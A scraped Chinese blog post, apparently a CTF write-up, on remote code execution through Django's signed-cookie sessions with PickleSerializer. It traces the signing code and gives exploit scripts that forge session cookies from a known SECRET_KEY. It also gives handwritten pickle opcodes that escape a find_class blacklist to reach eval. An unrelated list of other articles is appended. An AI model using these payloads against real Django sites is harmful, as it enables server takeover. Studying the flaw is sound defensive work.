当前位置: 首页 > news >正文

由Django-Session配置引发的反序列化安全问题

漏洞成因

漏洞成因位于目标配置文件settings.py下

关于这两个配置项

SESSION_ENGINE:

在Django中,SESSION_ENGINE 是一个设置项,用于指定用于存储和处理会话(session)数据的引擎。

SESSION_ENGINE 设置项允许您选择不同的后端引擎来存储会话数据,例如:

  1. 数据库后端 (django.contrib.sessions.backends.db):会话数据存储在数据库表中。这是Django的默认会话引擎。
  2. 缓存后端 (django.contrib.sessions.backends.cache):会话数据存储在缓存中,例如Memcached或Redis。这种方式适用于需要快速读写和处理大量会话数据的情况。
  3. 文件系统后端 (django.contrib.sessions.backends.file):会话数据存储在服务器的文件系统中。这种方式适用于小型应用,不需要高级别的安全性和性能。
  4. 签名Cookie后端 (django.contrib.sessions.backends.signed_cookies):会话数据以签名的方式存储在用户的Cookie中。这种方式适用于小型会话数据,可以提供一定程度的安全性。
  5. 缓存数据库后端 (django.contrib.sessions.backends.cached_db):会话数据存储在缓存中,并且在需要时备份到数据库。这种方式结合了缓存和持久性存储的优势。

SESSION_SERIALIZER:

SESSION_SERIALIZER 是Django设置中的一个选项,用于指定Django如何对会话(session)数据进行序列化和反序列化。会话是一种在Web应用程序中用于存储用户状态信息的机制,例如用户登录状态、购物车内容、用户首选项等。

通过配置SESSION_SERIALIZER,您可以指定Django使用哪种数据序列化格式来处理会话数据。Django支持多种不同的序列化格式,包括以下常用的选项:

  1. ‘django.contrib.sessions.serializers.JSONSerializer’:使用JSON格式来序列化和反序列化会话数据。JSON是一种通用的文本格式,具有良好的可读性和跨平台兼容性。
  2. ‘django.contrib.sessions.serializers.PickleSerializer’:使用Python标准库中的pickle模块来序列化和反序列化会话数据。

那么上述配置项的意思就是使用cookie来存储session的签名,然后使用pickle在c/s两端进行序列化和反序列化。

紧接着看看Django中的/core/signing模块:(Django==2.2.5)

主要看看函数参数即可

key:验签中的密钥

serializer:指定序列化和反序列化类

def dumps(obj, key=None, salt='django.core.signing', serializer=JSONSerializer, compress=False):"""Return URL-safe, hmac/SHA1 signed base64 compressed JSON string. If key isNone, use settings.SECRET_KEY instead.If compress is True (not the default), check if compressing using zlib cansave some space. Prepend a '.' to signify compression. This is includedin the signature, to protect against zip bombs.Salt can be used to namespace the hash, so that a signed string isonly valid for a given namespace. Leaving this at the defaultvalue or re-using a salt value across different parts of yourapplication without good cause is a security risk.The serializer is expected to return a bytestring."""data = serializer().dumps(obj)		# 使用选定的类进行序列化# Flag for if it's been compressed or notis_compressed = False# 数据压缩处理if compress:# Avoid zlib dependency unless compress is being usedcompressed = zlib.compress(data)if len(compressed) < (len(data) - 1):data = compressedis_compressed = Truebase64d = b64_encode(data).decode()			# base64编码 decode转化成字符串if is_compressed:base64d = '.' + base64dreturn TimestampSigner(key, salt=salt).sign(base64d)	# 返回一个签名值# loads的过程为dumps的逆过程
def loads(s, key=None, salt='django.core.signing', serializer=JSONSerializer, max_age=None):"""Reverse of dumps(), raise BadSignature if signature fails.The serializer is expected to accept a bytestring."""# TimestampSigner.unsign() returns str but base64 and zlib compression# operate on bytes.base64d = TimestampSigner(key, salt=salt).unsign(s, max_age=max_age).encode()decompress = base64d[:1] == b'.'if decompress:# It's compressed; uncompress it firstbase64d = base64d[1:]data = b64_decode(base64d)if decompress:data = zlib.decompress(data)return serializer().loads(data)

看看两个签名的类:

在Signer类中中:

class Signer:def __init__(self, key=None, sep=':', salt=None):# Use of native strings in all versions of Pythonself.key = key or settings.SECRET_KEY	# key默认为settings中的配置项			self.sep = sepif _SEP_UNSAFE.match(self.sep):raise ValueError('Unsafe Signer separator: %r (cannot be empty or consist of ''only A-z0-9-_=)' % sep,)self.salt = salt or '%s.%s' % (self.__class__.__module__, self.__class__.__name__)def signature(self, value):# 利用salt、value、key做一次签名return base64_hmac(self.salt + 'signer', value, self.key)def sign(self, value):return '%s%s%s' % (value, self.sep, self.signature(value))def unsign(self, signed_value):if self.sep not in signed_value:raise BadSignature('No "%s" found in value' % self.sep)value, sig = signed_value.rsplit(self.sep, 1)if constant_time_compare(sig, self.signature(value)):return valueraise BadSignature('Signature "%s" does not match' % sig)

还有一个是时间戳的验签部分

class TimestampSigner(Signer):def timestamp(self):return baseconv.base62.encode(int(time.time()))def sign(self, value):value = '%s%s%s' % (value, self.sep, self.timestamp())return super().sign(value)def unsign(self, value, max_age=None):"""Retrieve original value and check it wasn't signed morethan max_age seconds ago."""result = super().unsign(value)value, timestamp = result.rsplit(self.sep, 1)timestamp = baseconv.base62.decode(timestamp)if max_age is not None:if isinstance(max_age, datetime.timedelta):max_age = max_age.total_seconds()# Check timestamp is not older than max_ageage = time.time() - timestampif age > max_age:raise SignatureExpired('Signature age %s > %s seconds' % (age, max_age))return value

时间戳主要是为了判断session是否过期,因为设置了一个max_age字段,做了差值进行比较

image-20231009201626771

漏洞调试

我直接以ez_py的题目环境为漏洞调试环境(Django==2.2.5)

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

  • 老惯例,先看栈帧

django/contrib/auth/middleware.py为处理Django框架中的身份验证和授权的中间件类,协助处理了HTTP请求

image-20231009195204458

  • AuthenticationMiddleware中调用了get_user用于获取session中的连接对象身份

image-20231009195521704

  • 随后调用Django auth模块下的get_user函数和_get_user_session_key函数

image-20231009195847424

image-20231009200451030

  • 随后进行session的字典读取。由于加载session的过程为懒加载过程(lazy load),所以在读取SESSION_KEY的时候会进行_get_session函数运行,从而触发session的反序列化

image-20231009200700904

image-20231009200837563

image-20231009200846377

  • loads函数中的操作

首先先进行session是否过期的检验,随后base64解码和zlib数据解压缩,提取出python字节码

最后扔入pickle进行字节码解析

image-20231009201813801

漏洞利用

首先利用条件如下:

image-20231009113436367

以cookie方式存储session,实现了交互。

以Pickle为反序列化类,触发__reduce__函数的执行,实现RCE

EXP如下:

import os
import django.core.signing
import requests# from Django.contrib.sessions.serializers.PickleSerializer
import pickle
class PickleSerializer:"""Simple wrapper around pickle to be used in signing.dumps andsigning.loads."""protocol = pickle.HIGHEST_PROTOCOLdef dumps(self, obj):return pickle.dumps(obj, self.protocol)def loads(self, data):return pickle.loads(data)SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'
salt = "django.contrib.sessions.backends.signed_cookies"class exp():def __reduce__(self):# 返回一个callable 及其参数的元组return os.system, (('calc.exe'),)_exp = exp()
cookie_opcodes = django.core.signing.dumps(_exp, key=SECRET_KEY, salt=salt, serializer=PickleSerializer)
print(cookie_opcodes)resp = requests.get("http://127.0.0.1:8000/auth", cookies={"sessionid": cookie_opcodes})

image-20231009202058822

Code-Breaking-Django调试

这道题是P神文章中的题目,题目源码在这:https://github.com/phith0n/code-breaking/blob/master/2018/picklecode

find_class沙盒逃逸

关于find_class:

简单来说,这是python pickle建议使用的安全策略,这个函数在pickle字节码调用c(即import)时会进行校验,校验函数由自己定义

import pickle
import io
import builtins__all__ = ('PickleSerializer', )class RestrictedUnpickler(pickle.Unpickler):blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}def find_class(self, module, name):         # python字节码解析后调用了全局类或函数 import行为 就会自动调用find_class方法# Only allow safe classes from builtins.if module == "builtins" and name not in self.blacklist:        # 检查调用的类是否为内建类, 以及函数名是否出现在黑名单内return getattr(builtins, name)# Forbid everything else.raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name))class PickleSerializer():def dumps(self, obj):return pickle.dumps(obj)def loads(self, data):try:# 校验data是否为字符串if isinstance(data, str):raise TypeError("Can't load pickle from unicode string")file = io.BytesIO(data)                     # 读取datareturn RestrictedUnpickler(file,encoding='ASCII', errors='strict').load()except Exception as e:return {}

第一是要手撕python pickle opcode绕过find_class,这个过程使用到了getattr函数,这个函数有如下用法

class Person:def __init__(self, name):self.name = name# 获取对象属性值
person = Person("Alice")
name = getattr(person, "name")
print(name)# 调用对象方法
a = getattr(builtins, "eval")
a("print(1+1)")# 可以设置default值
age = getattr(person, "age", 30)
print(age)builtins.getattr(builtins, "eval")("print(1+1)")

那么同理,也可以通过getattr调用eval

加载上下文:由于后端在实现时,import了一些包

image-20231010215502906

(这部分包的上下文可以使用globals()函数获得)

所以可以直接导入builtins中的getattr,最终通过获取globals()中的__builtins__来获取eval等

getattr = GLOBAL('builtins', 'getattr')		# GLOBAL为导入
dict = GLOBAL('builtins', 'dict')		
dict_get = getattr(dict, 'get')
globals = GLOBAL('builtins', 'globals')
builtins = globals()				
__builtins__ = dict_get(builtins, '__builtins__')			# 获取真正的__builtins__
eval = getattr(__builtins__, 'eval')
eval('__import__("os").system("calc.exe")')
return

image-20231010214357341

查看Django.core.signing模块,复刻sign写exp

from django.core import signing
import pickle
import io
import builtins
import zlib
import base64PayloadToBeEncoded = b'cbuiltins\ngetattr\np0\n0cbuiltins\ndict\np1\n0g0\n(g1\nS\'get\'\ntRp2\n0cbuiltins\nglobals\np3\n0g3\n(tRp4\n0g2\n(g4\nS\'__builtins__\'\ntRp5\n0g0\n(g5\nS\'eval\'\ntRp6\n0g6\n(S\'__import__("os").system("calc.exe")\'\ntR.'SECURE_KEY = "p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn"
salt = "django.contrib.sessions.backends.signed_cookies"def b64_encode(s):return base64.urlsafe_b64encode(s).strip(b"=")base64d = b64_encode(PayloadToBeEncoded).decode()def exp(key, payload):global salt# Flag for if it's been compressed or not.is_compressed = Falsecompress = Falseif compress:# Avoid zlib dependency unless compress is being used.compressed = zlib.compress(payload)if len(compressed) < (len(payload) - 1):payload = compressedis_compressed = Truebase64d = b64_encode(payload).decode()if is_compressed:base64d = "." + base64dsession = signing.TimestampSigner(key=key, salt=salt).sign(base64d)print(session)

然后传session即可

相关文章:

由Django-Session配置引发的反序列化安全问题

漏洞成因 漏洞成因位于目标配置文件settings.py下 关于这两个配置项 SESSION_ENGINE&#xff1a; 在Django中&#xff0c;SESSION_ENGINE 是一个设置项&#xff0c;用于指定用于存储和处理会话&#xff08;session&#xff09;数据的引擎。 SESSION_ENGINE 设置项允许您选择不…...

16-spring AOP核心对象的创建

文章目录 1. aop的几个重要概念2. aop bean definition3. AspectJPointcutAdvisor4.AopConfigUtils5.AnnotationAwareAspectJAutoProxyCreator6. 循环依赖1. aop的几个重要概念 参考官方解释:https://docs.spring.io/spring-framework/docs/5.2.9.RELEASE/spring-framework-r…...

Golang 泛型的介绍

引言 Golang是一种现代的编程语言&#xff0c;以其简洁的语法和高效的性能而闻名。然而&#xff0c;与其他一些编程语言相比&#xff0c;Golang在语言层面上缺乏泛型的支持&#xff0c;这使得在处理不同类型的数据时变得有些困难。在本文中&#xff0c;我们将介绍Golang泛型的…...

RK3568笔记四:基于TensorFlow花卉图像分类部署

若该文为原创文章&#xff0c;转载请注明原文出处。 基于正点原子的ATK-DLRK3568部署测试。 花卉图像分类任务&#xff0c;使用使用 tf.keras.Sequential 模型&#xff0c;简单构建模型&#xff0c;然后转换成 RKNN 模型部署到ATK-DLRK3568板子上。 在 PC 使用 Windows 系统…...

甄知科技张礼军:数智化转型助企业破茧成蝶!

数智化浪潮滚滚向前&#xff0c;正席卷各行各业&#xff0c;带领企业从数字化时代跨入数智化时代。可什么是数智化&#xff1f;如何实现数智化转型&#xff1f;已经成为横亘在无数企业面前的大难题&#xff01; 事实上&#xff0c;数智化是数字化、AI和业务三个要素的交集&…...

Golang Map:高效的键值对容器

1. 引言 在编程中&#xff0c;我们经常需要使用键-值对来存储和操作数据。Golang中提供了一种高效的键值对容器——Map&#xff08;映射&#xff09;&#xff0c;它提供了快速的查找和插入操作&#xff0c;是处理大量关联数据的理想选择。本文将介绍Golang中的Map&#xff0c;…...

2023年【电工(高级)】报名考试及电工(高级)模拟考试题

题库来源&#xff1a;安全生产模拟考试一点通公众号小程序 2023年【电工&#xff08;高级&#xff09;】报名考试及电工&#xff08;高级&#xff09;模拟考试题&#xff0c;包含电工&#xff08;高级&#xff09;报名考试答案和解析及电工&#xff08;高级&#xff09;模拟考…...

伊朗相关的OilRig组织在为期8个月的网络攻击中针对中东政府

导语 伊朗相关的OilRig组织最近在中东政府中展开了一场长达8个月的网络攻击行动。这次攻击导致了文件和密码的被窃取&#xff0c;并且在其中一次攻击中&#xff0c;攻击者还使用了一种名为PowerExchange的PowerShell后门。据Symantec的威胁猎人团队称&#xff0c;他们在一份与T…...

服务器数据恢复-linux+raid+VMwave ESX数据恢复案例

服务器数据恢复环境&#xff1a; 一台某品牌x3950 X6型号服务器&#xff0c;linux操作系统&#xff0c;12块硬盘组建了一组raid阵列&#xff0c;上层运行VMwave ESX虚拟化平台。 服务器故障&#xff1a; 在服务器运行过程中&#xff0c;该raid阵列中有硬盘掉线&#xff0c;linu…...

残疾人求助报警器

残疾人求助报警器 实际上&#xff0c;求助报警对残疾人来说并不是一件容易的事情。首先&#xff0c;由于身体上的缺陷&#xff0c;他们在描述事件经过和罪犯体征时往往存在困难。此外&#xff0c;一些残疾人可能因为自卑或担心被歧视而犹豫不决&#xff0c;甚至选择忍气吞声。…...

【Datawhale】扩散模型学习笔记 第一次打卡

文章目录 扩散模型学习笔记1. 扩散模型库Diffusers1.1 安装1.2 使用 2. 从零开始搭建扩散模型2.1 数据准备2.2 损坏过程2.3 模型构建2.4 模型训练2.5 采样 3. webui 扩散模型学习笔记 1. 扩散模型库Diffusers 1.1 安装 由于diffusers库更新较快&#xff0c;所以建议时常upgr…...

Spring Boot学习笔记

SpringBoot特征 特征 创建独立的 Spring 应用程序 直接嵌入 Tomcat、Jetty 或 Undertow&#xff08;无需部署 WAR 文件&#xff09; 提供“入门”依赖项以简化构建配置 尽可能自动配置 Spring 和 第三方库 提供生产就绪功能&#xff0c;例如指标、健康检查和外部化配置 完…...

图像边缘检测--(Sobel、Laplacian、Canny)

1、图像中各种形状的检测是计算机视觉领域中非常常见的技术之一,特别是图像中直线的检测,圆的检测,图像边缘的检测等,下面将介绍如何快速检测图像边缘。 2、边缘是不同区域的分界线,是周围(局部)像素有显著变化的像素的集合,有幅值与方向两个属性。这个不是绝对的定义,…...

【计算机网络笔记】计算机网络性能(2)——时延带宽积、丢包率、吞吐量/率

系列文章目录 什么是计算机网络&#xff1f; 什么是网络协议&#xff1f; 计算机网络的结构 数据交换之电路交换 数据交换之报文交换和分组交换 分组交换 vs 电路交换 计算机网络性能&#xff08;1&#xff09;——速率、带宽、延迟 系列文章目录时延带宽积丢包率吞吐量/率&am…...

自学(黑客技术)——网络安全高效学习方法

前言 前几天发布了一篇 网络安全&#xff08;黑客&#xff09;自学 没想到收到了许多人的私信想要学习网安黑客技术&#xff01;却不知道从哪里开始学起&#xff01;怎么学&#xff1f;如何学&#xff1f; 今天给大家分享一下&#xff0c;很多人上来就说想学习黑客&#xff0c…...

【Linux】进程概念与进程状态

文章目录 一、进程概念1.进程的概念2.进程的描述-PCB 二、进程相关的基本操作1.组织进程2.查看进程3.结束进程4.通过系统调用获取进程标示符5.通过系统调用创建进程-fork初识 三、进程状态1.普遍操作系统层面的进程状态2.Linux操作系统的进程状态 四、两种特殊的进程状态1.僵尸…...

解决安装nvm以后windows cmd无法找到npm/yarn命令的问题

安装了nodejs多版本管理工具nvm以后&#xff0c;会出现windows cmd无法找到npm/yarn命令的问题 只要一运行npm/yarn就会提示&#xff1a;不是内部命令&#xff0c;找不到运行路径之类的。 解决办法&#xff1a;首先打开windows环境变量的配置&#xff0c;查看NVM_SYMLINK指向…...

深入解析Java正则表达式:定义、原理和实例

1.前言 1.1简介 正则表达式在Java开发中扮演着重要的角色。本文将详细讲解Java正则表达式的定义、工作原理&#xff0c;并提供一些实例和示例代码&#xff0c;帮助读者更好地理解和应用正则表达式 1.2使用场景的介绍 正则表达式适用于许多问题和场景&#xff0c;包括但不限于…...

DatenLord前沿技术分享 No.38

达坦科技专注于打造新一代开源跨云存储平台DatenLord&#xff0c;通过软硬件深度融合的方式打通云云壁垒&#xff0c;致力于解决多云架构、多数据中心场景下异构存储、数据统一管理需求等问题&#xff0c;以满足不同行业客户对海量数据跨云、跨数据中心高性能访问的需求。在本周…...

ms-sql server sql 把逗号分隔的字符串分开

案例&#xff1a; sql 查询-字段里是逗号,分隔开的数组&#xff0c;查询匹配数据 sql 查询-字段里是逗号,分隔开的数组&#xff0c;查询匹配数据_sql server 数组匹配-CSDN博客 SQL SERVER 把逗号隔开的字符串拆分成行 SQL SERVER 把逗号隔开的字符串拆分成行_sqlserver拆分…...

聊聊 Pulsar:Producer 源码解析

一、前言 Apache Pulsar 是一个企业级的开源分布式消息传递平台&#xff0c;以其高性能、可扩展性和存储计算分离架构在消息队列和流处理领域独树一帜。在 Pulsar 的核心架构中&#xff0c;Producer&#xff08;生产者&#xff09; 是连接客户端应用与消息队列的第一步。生产者…...

1.3 VSCode安装与环境配置

进入网址Visual Studio Code - Code Editing. Redefined下载.deb文件&#xff0c;然后打开终端&#xff0c;进入下载文件夹&#xff0c;键入命令 sudo dpkg -i code_1.100.3-1748872405_amd64.deb 在终端键入命令code即启动vscode 需要安装插件列表 1.Chinese简化 2.ros …...

WEB3全栈开发——面试专业技能点P2智能合约开发(Solidity)

一、Solidity合约开发 下面是 Solidity 合约开发 的概念、代码示例及讲解&#xff0c;适合用作学习或写简历项目背景说明。 &#x1f9e0; 一、概念简介&#xff1a;Solidity 合约开发 Solidity 是一种专门为 以太坊&#xff08;Ethereum&#xff09;平台编写智能合约的高级编…...

保姆级教程:在无网络无显卡的Windows电脑的vscode本地部署deepseek

文章目录 1 前言2 部署流程2.1 准备工作2.2 Ollama2.2.1 使用有网络的电脑下载Ollama2.2.2 安装Ollama&#xff08;有网络的电脑&#xff09;2.2.3 安装Ollama&#xff08;无网络的电脑&#xff09;2.2.4 安装验证2.2.5 修改大模型安装位置2.2.6 下载Deepseek模型 2.3 将deepse…...

站群服务器的应用场景都有哪些?

站群服务器主要是为了多个网站的托管和管理所设计的&#xff0c;可以通过集中管理和高效资源的分配&#xff0c;来支持多个独立的网站同时运行&#xff0c;让每一个网站都可以分配到独立的IP地址&#xff0c;避免出现IP关联的风险&#xff0c;用户还可以通过控制面板进行管理功…...

android13 app的触摸问题定位分析流程

一、知识点 一般来说,触摸问题都是app层面出问题,我们可以在ViewRootImpl.java添加log的方式定位;如果是touchableRegion的计算问题,就会相对比较麻烦了,需要通过adb shell dumpsys input > input.log指令,且通过打印堆栈的方式,逐步定位问题,并找到修改方案。 问题…...

Vite中定义@软链接

在webpack中可以直接通过符号表示src路径&#xff0c;但是vite中默认不可以。 如何实现&#xff1a; vite中提供了resolve.alias&#xff1a;通过别名在指向一个具体的路径 在vite.config.js中 import { join } from pathexport default defineConfig({plugins: [vue()],//…...

​​企业大模型服务合规指南:深度解析备案与登记制度​​

伴随AI技术的爆炸式发展&#xff0c;尤其是大模型&#xff08;LLM&#xff09;在各行各业的深度应用和整合&#xff0c;企业利用AI技术提升效率、创新服务的步伐不断加快。无论是像DeepSeek这样的前沿技术提供者&#xff0c;还是积极拥抱AI转型的传统企业&#xff0c;在面向公众…...

ubuntu中安装conda的后遗症

缘由: 在编译rk3588的sdk时&#xff0c;遇到编译buildroot失败&#xff0c;提示如下&#xff1a; 提示缺失expect&#xff0c;但是实测相关工具是在的&#xff0c;如下显示&#xff1a; 然后查找借助各个ai工具&#xff0c;重新安装相关的工具&#xff0c;依然无解。 解决&am…...

用鸿蒙HarmonyOS5实现国际象棋小游戏的过程

下面是一个基于鸿蒙OS (HarmonyOS) 的国际象棋小游戏的完整实现代码&#xff0c;使用Java语言和鸿蒙的Ability框架。 1. 项目结构 /src/main/java/com/example/chess/├── MainAbilitySlice.java // 主界面逻辑├── ChessView.java // 游戏视图和逻辑├── …...